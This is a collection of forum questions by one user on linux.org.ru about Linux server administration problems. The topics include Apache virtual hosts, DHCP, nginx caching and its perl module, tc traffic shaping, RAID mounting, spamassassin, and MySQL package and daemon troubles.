LINUX.ORG.RU

Сообщения commeta

 

apache 2.4.7 и virtualHost, как теперь Document Roots настраивать?

uname -a
Linux commeta-P5K 3.13.0-43-generic

apache2 -v
Server version: Apache/2.4.7 (Ubuntu)

grep ^[^#] apache2.conf 
Mutex file:${APACHE_LOCK_DIR} default
PidFile ${APACHE_PID_FILE}
Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
HostnameLookups Off
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
Include ports.conf
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>
<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>
<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>
AccessFileName .htaccess
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
IncludeOptional conf-enabled/*.conf
IncludeOptional sites-enabled/*.conf

Поставил ubuntu 14.04 а там новый апач, создаю как обычно

<Directory /var/www/mysite.ru/www>
		Options Indexes -ExecCGI -Includes
		php_admin_flag engine on
		AllowOverride None
		Require all granted
</Directory>
<VirtualHost *:81>
		ServerName mysite.ru
		AddDefaultCharset UTF-8
		CustomLog /var/www/mysite.ru/mysite.ru.access.log combined
		DocumentRoot /var/www/mysite.ru/www
		ErrorLog /var/www/mysite.ru/mysite.ru.error.log
		ServerAdmin webmaster@mysite.ru
		ServerAlias www.mysite.ru
		AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml
		AddType application/x-httpd-php-source .phps
		php_admin_value upload_tmp_dir /var/www/mysite.ru/tmp
		php_admin_value session.save_path /var/www/mysite.ru/tmp
</VirtualHost>
и в /etc/hosts > mysite.ru соответственно, в каталоге /var/www/mysite.ru/www файлы сайта, но через браузер Apache2 Ubuntu Default Page открывается, ЧЯДНТ?

tail -n 1 access.log 
192.168.0.5 - - [19/Jan/2015:20:44:45 +0300] "GET / HTTP/1.1" 200 3594 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0"

 

commeta
()

DHCP server, и widows клиенты, не получают адреса

есть сервер Linux alpha 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u1 i686 GNU/Linux

на нем isc-dhcp-server

grep -v -E "#|^$" dhcpd.conf 
ddns-update-style none;
option domain-name "alpha.local";
option domain-name-servers 192.168.2.211;
default-lease-time 600;
max-lease-time 600;
authoritative;
log-facility local7;
subnet 192.168.2.0 netmask 255.255.255.0 {
  range 192.168.2.10  192.168.2.50;
  option routers 192.168.2.211;
  option domain-name-servers 192.168.2.211;
}
subnet 192.168.5.0 netmask 255.255.255.0 {
  range 192.168.5.5  192.168.5.150;
  option routers 192.168.5.1;
  option domain-name-servers 192.168.5.1;
}
include "/etc/dhcp/users.list";

в /etc/dhcp/users.list список станций вида

host 192.168.2.5 { hardware ethernet 00:2b:00:00:20:0d; fixed-address 192.168.2.5; }
host 192.168.2.6 { hardware ethernet 00:11:09:87:ea:9c; fixed-address 192.168.2.6; }
host 192.168.2.56 { hardware ethernet c8:60:00:e2:c1:5f; fixed-address 192.168.2.56; }
host 192.168.2.59 { hardware ethernet c8:60:00:67:e7:3e; fixed-address 192.168.2.59; }
host 192.168.2.64 { hardware ethernet 40:61:86:c4:98:e9; fixed-address 192.168.2.64; }
host 192.168.2.81 { hardware ethernet c8:60:00:86:3d:f6; fixed-address 192.168.2.81; }
host 192.168.2.91 { hardware ethernet 14:7d:c5:94:9a:49; fixed-address 192.168.2.91; }
.....

проблема в том что некоторые станции не получают ip адрес и присваивают адрес по умолчанию типа: 169.254.96.215 08:60:6e:e4:f0:bd eth1 поставил arpwatch, постоянно появляются станции не получившие нормальный ip, и те котырые есть в /etc/dhcp/users.list и те которые должны получать ip из диапазона range 192.168.2.10 192.168.2.50; подскажите куда копать?

 

commeta
()

NginX и встроенный perl, обработка заголовков ответа

Есть сервер Debian, nginx 1.1.19 --with-http_perl_module, apache, и сайты на джумле.

Перепробовал 1000 вариантов научить джумлу корректно отдавать 304 not modified и last modified при этом кэшируя контент, но все время что-то да не работает, поэтому хочу поэкспериментировать реализовать на встроенном в nginx perl.

Включаю кэширование в nginx, проксирую запрос к apache, и ставлю обработчик location, -virtualHost nginx

perl_modules  /opt/perl;
perl_require  mysite.pm;

proxy_cache_path /srv/web/cache/mysite levels=1:2 keys_zone=mysite:1m inactive=24h;

server {
	listen 80;
	server_name mysite.ru www.mysite.ru;
	set $root_path /var/www/mysite.ru;
	access_log /var/www/nginx.logs/nginx.mysite.ru.access.log;
	error_log /var/www/nginx.logs/nginx.mysite.ru.error.log;

	location ~* ^.+\.(jpg|jpeg|gif|png|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf|ico|flv|js|css|ttf|otf|eot|svg|txt)$ {
		root $root_path;
		error_page 404 = @fallback;
	}
	location / {
    	    set $do_not_cache 0;

    	    if ( $cookie_caching = "stop" ) {
		set $do_not_cache 1;
    	    }

    	    if ( $request_uri ~* "administrator|cart" ) { 
		set $do_not_cache 1; 
    	    }

    	    if ( $request_uri ~* ".php" ) { 
		set $do_not_cache 1; 
    	    }

    	    if ( $request_uri ~* "oneclickcheckout" ) { 
		set $do_not_cache 1; 
    	    }

    	    if ( $request_method = POST ) { 
		set $do_not_cache 1; 
    	    }
    	    if ( $request_method != GET ) { 
		set $do_not_cache 1; 
    	    }

    	    proxy_cache_bypass $do_not_cache;
    	    proxy_no_cache $do_not_cache;
    	    proxy_pass http://127.0.0.1:81;
    	    proxy_redirect http://127.0.0.1:81/ /;

    	    proxy_hide_header "Cache-Control";
    	    proxy_ignore_headers "Cache-Control" "Expires" "Set-Cookie";

    	    proxy_set_header Host $host;
    	    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    	    proxy_set_header X-Forwarded-Proto $scheme;
    	    proxy_set_header X-Real-IP $remote_addr;
        
    	    proxy_cache mysite;
    	    proxy_cache_valid 200 301 302 304 180h;
    	    proxy_cache_valid 404 10m;
    	    proxy_cache_valid any 10m;
    	    proxy_cache_key "$request_method|$host|$request_uri";

	    perl  mysite::handler;
	}
	location @fallback {
		proxy_pass http://127.0.0.1:81;
		proxy_set_header Host $host;
		proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header X-Forwarded-Proto $scheme;
		proxy_set_header X-Real-IP $remote_addr;
	}
	location ~* ^.+\.(jpg|jpeg|gif|png|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf|ico|flv|js|css|ttf|otf|eot|svg|txt)$ {
		root $root_path;
		error_page 404 = @fallback;
	}
}

Отдельный скрипт парсит sitemap.xml и складывает в файл время модификации страницы, аля: mysite.lst

url1|2014-09-28T23:39:10+04:00
url2|2014-09-28T23:39:10+04:00
.....

Теперь затык в обработчике location mysite.pm, как мне добавить заголовок last-modified в ответ клиенту?

если допустим

package mysite;
use nginx;

sub handler {
    my $r = shift;

    $r->send_http_header("text/html");
    $r->print("hello world!");

    return OK;
}

1;
__END__
то в браузер попадает только hello world!, как мне тело страницы из кэша или от apache (если в кэше нет еще) отправить в браузер? и добавить заголовок? типа Last-Modified Sun, 28 Sep 2014 23:39:10 GMT

 ,

commeta
()

Сервер теряет пакеты

uname -a
Linux alpha 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686 GNU/Linux

Есть шлюз debian, начали пропадать пакеты, начинаю пинговать первые 10 пингов проходят а остальные пропадают рандомом! iptables выставил в accept, шейперы отключил, RX&TX на интерфейсе errors:0 dropped:0 overruns:0 frame:0 минуту удается поработать в MC а потом все замирает, как будто ведро в шейпере. сервер удаленный, есть идеи? Надо добавить что что это основной шлюз был, я сейчас через резервный его вижу, между ними link гигабитный без свичей, но и не в этом дело остальные линки так-же себя ведут.

commeta
()

Устаревший хэндл файла NFS при mount raid1

Есть debian

fdisk -l

Disk /dev/sdb: 500.1 GB, 500107862016 bytes
255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000e0b77

   Device Boot      Start         End      Blocks   Id  System

Disk /dev/sdc: 500.1 GB, 500107862016 bytes
255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000e0b77

   Device Boot      Start         End      Blocks   Id  System

Disk /dev/sda: 2000.4 GB, 2000398934016 bytes
255 heads, 63 sectors/track, 243201 cylinders, total 3907029168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00054f9a

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1            2048       34815       16384   82  Linux swap / Solaris
/dev/sda2   *       34816  3907028991  1953497088   83  Linux

Disk /dev/md0: 500.0 GB, 499973488640 bytes
2 heads, 4 sectors/track, 122063840 cylinders, total 976510720 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x144e512b

    Device Boot      Start         End      Blocks   Id  System
/dev/md0p1            2048   976510719   488254336   83  Linux
корень на 2tb hdd, создал raid1 из двух 500gb hdd, на нем ext4, при попытке монтирования, ругается
mount /dev/md0 /raid
mount: Устаревший хэндл файла NFS
в kern.log
Mar  4 14:56:50 omega kernel: [583842.591666] EXT4-fs (md0): get root inode failed
Mar  4 14:56:50 omega kernel: [583842.591687] EXT4-fs (md0): mount failed
куда копать? fsck.ext4 ошибок не выявило
fsck.ext4 -v -f /dev/md0p1
e2fsck 1.42.5 (29-Jul-2012)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information

          13 inodes used (0.00%, out of 30523392)
           0 non-contiguous files (0.0%)
           0 non-contiguous directories (0.0%)
             # of inodes with ind/dind/tind blocks: 0/0/0
             Extent depth histogram: 5
     1966390 blocks used (1.61%, out of 122063584)
           0 bad blocks
           1 large file

           0 regular files
           4 directories
           0 character device files
           0 block device files
           0 fifos
           0 links
           0 symbolic links (0 fast symbolic links)
           0 sockets
------------
           4 files
важных данных на разделе нет

commeta
()

шейпер tc, фильтр для Ifb

debian 7, шлюз, интернет eth0, локалка eth2
делаю шейпер на eth2, исходящий, входящий заворачиваю на ifb0 и на нем делаю ограничения.

#!/bin/bash

TC="/sbin/tc"

########## Исходящий в локалку
echo Создаем корневую дисциплину на интерфейсе eth2
$TC qdisc del dev eth2 root
$TC qdisc add dev eth2 root handle 1: htb default 800

echo  Создаем общий для клиентов класс
$TC class add dev eth2 parent 1: classid 1:1 htb rate 30Mbit ceil 30Mbit

echo Создаем корневой класс клиента
$TC class add dev eth2 parent 1:1 classid 1:10 htb rate 5Mbit ceil 30Mbit
$TC class add dev eth2 parent 1:1 classid 1:20 htb rate 5Mbit ceil 30Mbit

echo Создаем дисциплины шейпирования для конечных классов
$TC qdisc add dev eth2 parent 1:10 handle 10: sfq perturb 5
$TC qdisc add dev eth2 parent 1:20 handle 20: sfq perturb 5

echo Создаем фильтры
$TC filter add dev eth2 parent 1:0 protocol ip prio 2 u32 match ip dst 192.168.0.8/32 flowid 1:10
$TC filter add dev eth2 parent 1:0 protocol ip prio 2 u32 match ip dst 192.168.0.7/32 flowid 1:20

echo Дефолтный класс 800
$TC class add dev eth2 parent 1:1 classid 1:800 htb rate 1Mbit ceil 30Mbit prio 3
$TC qdisc add dev eth2 parent 1:800 handle 800: sfq perturb 5


########## Исходящий в инет
echo Подключаем модуль ядра для ifb
modprobe ifb

echo Поднимаем интерфейсы ifb
ip link set dev ifb0 up

echo Создаем корневую дисциплину для входящего трафика на локальных интерфейсах 
tc qdisc add dev eth2 ingress

echo Теперь непосредственно заворачиваем трафик в ifb0
tc filter add dev eth2 parent ffff: protocol ip u32 match u32 0 0 action mirred egress redirect dev ifb0

echo Создаем корневую дисциплину на интерфейсе ifb0
$TC qdisc del dev ifb0 root
$TC qdisc add dev ifb0 root handle 1: htb default 800

echo  Создаем общий для клиентов класс
$TC class add dev ifb0 parent 1: classid 1:1 htb rate 30Mbit ceil 30Mbit

echo Создаем корневой класс клиента
$TC class add dev ifb0 parent 1:1 classid 1:10 htb rate 5Mbit ceil 30Mbit
$TC class add dev ifb0 parent 1:1 classid 1:20 htb rate 5Mbit ceil 30Mbit

echo Создаем дисциплины шейпирования для конечных классов
$TC qdisc add dev ifb0 parent 1:10 handle 10: sfq perturb 5
$TC qdisc add dev ifb0 parent 1:20 handle 20: sfq perturb 5

echo Создаем фильтры
$TC filter add dev ifb0 parent 1:0 protocol ip prio 2 u32 match ip src 192.168.0.8/32 flowid 1:10
$TC filter add dev ifb0 parent 1:0 protocol ip prio 2 u32 match ip src 192.168.0.7/32 flowid 1:20

echo Дефолтный класс 800
$TC class add dev ifb0 parent 1:1 classid 1:800 htb rate 1Mbit ceil 30Mbit prio 3
$TC qdisc add dev ifb0 parent 1:800 handle 800: sfq perturb 5

на eth2 работает нормально - в дефолтный класс ничего не попадает, а вот на ifb0 в дефолтном классе есть трафик. Откуда он там берется? как посмотреть тип трафика в этом класе?

commeta
()

spamassassin +razor Disk quota exceeded

Centos 6, spamassassin, dovecot, spamd, postfix, ispmanager.
Установил Razor2, в логи поcтоянно сыпит:
spamd[21305]: razor2: razor2 check failed: Disk quota exceeded error closing log: Disk quota exceeded at /usr/share/p erl5/Mail/SpamAssassin/Plugin/Razor2.pm line 250, <GEN440> line 1. at /usr/share/perl5/Mail/SpamAssassin/Plugin/Razor2.pm line 330.

Не пойму где ему квоты не хватает, лог файл закрыть не может
Подскажите куда копать, где нибудь debug можно включить?

commeta
()

nginx proxy_cache_bypass по условию из заголовка 303 see other

Настраиваю кэширование на сайте joomla, nginx в качестве кэширующего прокси для apache2.

Есть страница которая отдает заголовок 303 see other

Ситуация: php страница допустим index.php, на ней ссылка href=/add.html?product_id=238 нажимаем на ссылку, add.html возвращает заголовок

HTTP/1.1 303 See other
Server: nginx/1.0.15
Date: Sun, 14 Jul 2013 16:18:06 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Cache-Control: no-cache, must-revalidate
Location: http://test2.mysite.ru/index.php
Content-Length: 0
соответственно открывается index.php но уже из кэша! а надо чтобы шел по новой из proxy_pass как построить условие чтобы в этой ситуации страница не кэшировалась и не бралась из кэша?

что то типа if ($refer from header = 303) { set $do_not_cache 1; }

мой конфиг:

/etc/nginx/nginx.conf      

user apache;
worker_processes  4;
error_log  /var/log/nginx/error.log;
pid        /var/run/nginx.pid;
events {worker_connections  1024;}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    keepalive_timeout  85;
    proxy_cache_path /var/cache/nginx levels= keys_zone=wholepage:500m;

    include /etc/nginx/conf.d/*.conf;

        include /usr/local/ispmgr/etc/nginx.domain;
        client_max_body_size 64M;
        log_format isp '$bytes_sent $request_length';
	server {
		server_name test3.mysite.ru www.test3.mysite.ru;
		listen xxx.xxx.xxx.xxx;
		set $root_path /var/www/mysite.ru/data/www/test3.mysite.ru;
		location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
			root $root_path;
			access_log /var/www/nginx-logs/mysite.ru isp;
			access_log /var/www/httpd-logs/test3.mysite.ru.access.log ;
			error_page 404 = @fallback;
		}
		location / {
			if ($cookie_session) { set $do_not_cache 1; }
			if ($request_method = POST) { set $do_not_cache 1; } 
			if ($request_uri ~* "administrator|korzina|cart") { set $do_not_cache 1; }

			proxy_cache_bypass $do_not_cache;
			proxy_no_cache $do_not_cache;
			
			proxy_pass http://xxx.xxx.xxx.xxx:81;
			proxy_redirect http://xxx.xxx.xxx.xxx:81/ /;
			
			proxy_hide_header "Set-Cookie";
			proxy_ignore_headers "Cache-Control" "Expires" "Set-Cookie";
			
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Forwarded-Proto $scheme;
			proxy_set_header X-Real-IP $remote_addr;

			proxy_cache wholepage;
			proxy_cache_valid 200 301 302 304 5m;
			proxy_cache_key "$request_method|$http_if_modified_since|$http_if_none_match|$host|$request_uri";
		}

		location ~* ^/(webstat|awstats|webmail|myadmin|pgadmin)/ {
			proxy_pass http://xxx.xxx.xxx.xxx:81;
			proxy_redirect http://xxx.xxx.xxx.xxx:81/ /;
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Forwarded-Proto $scheme;
			proxy_set_header X-Real-IP $remote_addr;
		}
		location @fallback {
			proxy_pass http://xxx.xxx.xxx.xxx:81;
			proxy_set_header Host $host;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Forwarded-Proto $scheme;
			proxy_set_header X-Real-IP $remote_addr;
		}
		location ^~ /webstat/ {
			auth_basic "Restricted area";
			auth_basic_user_file /var/www/mysite.ru/data/etc/3677707.passwd;
			try_files $uri @fallback;
		}
		location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf|ico)$ {
			root $root_path;
			access_log /var/www/nginx-logs/mysite.ru isp;
			access_log /var/www/httpd-logs/test3.mysite.ru.access.log ;
			error_page 404 = @fallback;
		}
		include /usr/local/ispmgr/etc/nginx.inc;
	}
	server_names_hash_max_size 8192;
}

commeta
()

Не удается удалить mysql-server

Ubuntu 12.04 Был установлен mysql-server-5.5, после обновления начались проблемы с запуском, при попытке service mysql скрипт просил пользоваться /etc/init.d/mysql и наоборот. Удалить при помощи apt-get purge mysql-server не удалось, удалил руками каталоги с базой и /etc/mysql. Теперь вообще не удается его установить заново,

aptitude purge mysql-server
Следующие частично установленные пакеты будут настроены:
  mysql-server-5.5 
Ни одного пакета не будет установлено, обновлено или удалено.
0 пакетов обновлено, 0 установлено новых, 0 пакетов отмечено для удаления, и 16 пакетов не обновлено.
Необходимо получить 0 Б архивов. После распаковки 0 Б будет занято.
Настраивается пакет mysql-server-5.5 (5.5.31-0ubuntu0.12.04.2) ...
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
dpkg: не удалось обработать параметр mysql-server-5.5 (--configure):
 подпроцесс установлен сценарий post-installation возвратил код ошибки 100
Отчёты apport не записаны, так достигнут MaxReports
                                                   При обработке следующих пакетов произошли ошибки:
 mysql-server-5.5
E: Sub-process /usr/bin/dpkg returned an error code (1)
Не удалось установить пакет.  Попытка восстановить:
                                                 
root@commeta:/root# dpkg-reconfigure mysql-server-5.5
/usr/sbin/dpkg-reconfigure: Пакет mysql-server-5.5 сломан или установлен не полностью
root@commeta:/root# apt-get install mysql-server-5.5
Чтение списков пакетов… Готово
Построение дерева зависимостей       
Чтение информации о состоянии… Готово
Уже установлена самая новая версия mysql-server-5.5.
обновлено 0, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 16 пакетов не обновлено.
не установлено до конца или удалено 1 пакетов.
После данной операции, объём занятого дискового пространства возрастёт на 0 B.
Хотите продолжить [Д/н]? y
Настраивается пакет mysql-server-5.5 (5.5.31-0ubuntu0.12.04.2) ...
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
dpkg: не удалось обработать параметр mysql-server-5.5 (--configure):
 подпроцесс установлен сценарий post-installation возвратил код ошибки 100
При обработке следующих пакетов произошли ошибки:
 mysql-server-5.5
E: Sub-process /usr/bin/dpkg returned an error code (1)
root@commeta:/root# apt-get clean
root@commeta:/root# apt-get install -f
Чтение списков пакетов… Готово
Построение дерева зависимостей       
Чтение информации о состоянии… Готово
обновлено 0, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 16 пакетов не обновлено.
не установлено до конца или удалено 1 пакетов.
После данной операции, объём занятого дискового пространства возрастёт на 0 B.
Настраивается пакет mysql-server-5.5 (5.5.31-0ubuntu0.12.04.2) ...
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
dpkg: не удалось обработать параметр mysql-server-5.5 (--configure):
 подпроцесс установлен сценарий post-installation возвратил код ошибки 100
При обработке следующих пакетов произошли ошибки:
 mysql-server-5.5
E: Sub-process /usr/bin/dpkg returned an error code (1)
root@commeta:/root# apt-get autoremove
Чтение списков пакетов… Готово
Построение дерева зависимостей       
Чтение информации о состоянии… Готово
обновлено 0, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 16 пакетов не обновлено.
не установлено до конца или удалено 1 пакетов.
После данной операции, объём занятого дискового пространства возрастёт на 0 B.
Настраивается пакет mysql-server-5.5 (5.5.31-0ubuntu0.12.04.2) ...
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
invoke-rc.d: unknown initscript, /etc/init.d/mysql not found.
dpkg: не удалось обработать параметр mysql-server-5.5 (--configure):
 подпроцесс установлен сценарий post-installation возвратил код ошибки 100
При обработке следующих пакетов произошли ошибки:
 mysql-server-5.5
E: Sub-process /usr/bin/dpkg returned an error code (1)

Подскажите как его всетаки удалить полностью?

commeta
()

bash проверка строки

Сделал парсер whois для даты окончания срока регистрации домена, мне для сортировки надо формат даты поменять чтобы из 29-Oct-2013 стало 2013.Oct.29

expiration=`whois web2domains.com |grep "Expiration Date"| awk -F":" '{print $2}'|cut -f 1`
#expiration="29-Oct-2013"

if [[ $expiration == [0-9]*\-[a-zA-Z]*\-[0-9]* ]]; then
    echo "true"
    expiration=`echo "$expiration"| awk -F"-" '{print $3"."$2"."$1}'`
fi

echo $expiration web2domains.com

подскажите почему не срабатывает условие над строкой полученной из whois, а из тестовой строки срабатывает?

Centos 6

commeta
()

kernel: page allocation failure.

Centos 6 В message постоянно сыпется

Jun 19 04:18:24 p172295 kernel: nginx: page allocation failure. order:1, mode:0x20
Jun 19 04:18:24 p172295 kernel: Pid: 32371, comm: nginx Not tainted 2.6.32-358.2.1.el6.x86_64 #1
Jun 19 04:18:24 p172295 kernel: Call Trace:
Jun 19 04:18:24 p172295 kernel: <IRQ>  [<ffffffff8112c207>] ? __alloc_pages_nodemask+0x757/0x8d0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8105230c>] ? check_preempt_curr+0x7c/0x90
Jun 19 04:18:24 p172295 kernel: [<ffffffff8144d1ff>] ? netif_rx+0xaf/0x160
Jun 19 04:18:24 p172295 kernel: [<ffffffff81166ab2>] ? kmem_getpages+0x62/0x170
Jun 19 04:18:24 p172295 kernel: [<ffffffff811676ca>] ? fallback_alloc+0x1ba/0x270
Jun 19 04:18:24 p172295 kernel: [<ffffffff8116711f>] ? cache_grow+0x2cf/0x320
Jun 19 04:18:24 p172295 kernel: [<ffffffff81167449>] ? ____cache_alloc_node+0x99/0x160
Jun 19 04:18:24 p172295 kernel: [<ffffffff811683cb>] ? kmem_cache_alloc+0x11b/0x190
Jun 19 04:18:24 p172295 kernel: [<ffffffff81439d58>] ? sk_prot_alloc+0x48/0x1c0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8143ae32>] ? sk_clone+0x22/0x2e0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81489d66>] ? inet_csk_clone+0x16/0xd0
Jun 19 04:18:24 p172295 kernel: [<ffffffff814a2c73>] ? tcp_create_openreq_child+0x23/0x450
Jun 19 04:18:24 p172295 kernel: [<ffffffff814a046d>] ? tcp_v4_syn_recv_sock+0x4d/0x310
Jun 19 04:18:24 p172295 kernel: [<ffffffff814a2a16>] ? tcp_check_req+0x226/0x460
Jun 19 04:18:24 p172295 kernel: [<ffffffff8149ff0b>] ? tcp_v4_do_rcv+0x35b/0x430
Jun 19 04:18:24 p172295 kernel: [<ffffffffa017f557>] ? ipv4_confirm+0x87/0x1d0 [nf_conntrack_ipv4]
Jun 19 04:18:24 p172295 kernel: [<ffffffff814a171e>] ? tcp_v4_rcv+0x4fe/0x8d0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8147f430>] ? ip_local_deliver_finish+0x0/0x2d0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8147f50d>] ? ip_local_deliver_finish+0xdd/0x2d0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8147f798>] ? ip_local_deliver+0x98/0xa0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8147ec5d>] ? ip_rcv_finish+0x12d/0x440
Jun 19 04:18:24 p172295 kernel: [<ffffffff8147f1e5>] ? ip_rcv+0x275/0x350
Jun 19 04:18:24 p172295 kernel: [<ffffffff814483bb>] ? __netif_receive_skb+0x4ab/0x750
Jun 19 04:18:24 p172295 kernel: [<ffffffff814486fa>] ? process_backlog+0x9a/0x100
Jun 19 04:18:24 p172295 kernel: [<ffffffff8144cf63>] ? net_rx_action+0x103/0x2f0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81076fb1>] ? __do_softirq+0xc1/0x1e0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8100c1cc>] ? call_softirq+0x1c/0x30
Jun 19 04:18:24 p172295 kernel: <EOI>  [<ffffffff8100de05>] ? do_softirq+0x65/0xa0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81076e3a>] ? local_bh_enable+0x9a/0xb0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8144c98c>] ? dev_queue_xmit+0x16c/0x550
Jun 19 04:18:24 p172295 kernel: [<ffffffff814851c0>] ? ip_finish_output+0x0/0x310
Jun 19 04:18:24 p172295 kernel: [<ffffffff814852fc>] ? ip_finish_output+0x13c/0x310
Jun 19 04:18:24 p172295 kernel: [<ffffffff81485588>] ? ip_output+0xb8/0xc0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8148484f>] ? __ip_local_out+0x9f/0xb0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81484885>] ? ip_local_out+0x25/0x30
Jun 19 04:18:24 p172295 kernel: [<ffffffff81484d60>] ? ip_queue_xmit+0x190/0x420
Jun 19 04:18:24 p172295 kernel: [<ffffffff81499a4e>] ? tcp_transmit_skb+0x3fe/0x7b0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8149be0b>] ? tcp_write_xmit+0x1fb/0xa20
Jun 19 04:18:24 p172295 kernel: [<ffffffff8149c7c0>] ? __tcp_push_pending_frames+0x30/0xe0
Jun 19 04:18:24 p172295 kernel: [<ffffffff8148c03e>] ? tcp_push+0x6e/0x90
Jun 19 04:18:24 p172295 kernel: [<ffffffff8148d03c>] ? tcp_sendmsg+0x64c/0xa20
Jun 19 04:18:24 p172295 kernel: [<ffffffff81437dbb>] ? sock_aio_write+0x19b/0x1c0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81437c20>] ? sock_aio_write+0x0/0x1c0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81180c3b>] ? do_sync_readv_writev+0xfb/0x140
Jun 19 04:18:24 p172295 kernel: [<ffffffff81498d0c>] ? tcp_rcv_state_process+0x9fc/0xa10
Jun 19 04:18:24 p172295 kernel: [<ffffffff81096ca0>] ? autoremove_wake_function+0x0/0x40
Jun 19 04:18:24 p172295 kernel: [<ffffffff8121bc06>] ? security_file_permission+0x16/0x20
Jun 19 04:18:24 p172295 kernel: [<ffffffff81181bc6>] ? do_readv_writev+0xd6/0x1f0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81436447>] ? sys_connect+0xd7/0xf0
Jun 19 04:18:24 p172295 kernel: [<ffffffff81181d26>] ? vfs_writev+0x46/0x60
Jun 19 04:18:24 p172295 kernel: [<ffffffff81181e51>] ? sys_writev+0x51/0xb0
Jun 19 04:18:24 p172295 kernel: [<ffffffff810dc645>] ? __audit_syscall_exit+0x265/0x290
Jun 19 04:18:24 p172295 kernel: [<ffffffff8100b072>] ? system_call_fastpath+0x16/0x1b
Причем page allocation failure. возникает и у nginx и у apache и у mysql, подскажите куда копать?
uname -a
Linux 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

free
             total       used       free     shared    buffers     cached
Mem:      12188420   10455836    1732584          0    1343600    6290124
-/+ buffers/cache:    2822112    9366308
Swap:      8393848     102152    8291696

commeta
()

mysqld dead but subsys locked

Centos 6, 2.6.32-358.2.1.el6.x86_64

При попытке service mysqld stop или restart пишет что все ок, однако процессы продолжают работать

ps aux | grep mysqld
root      3623  0.0  0.0 108204  1212 ?        S    Jun04   0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql
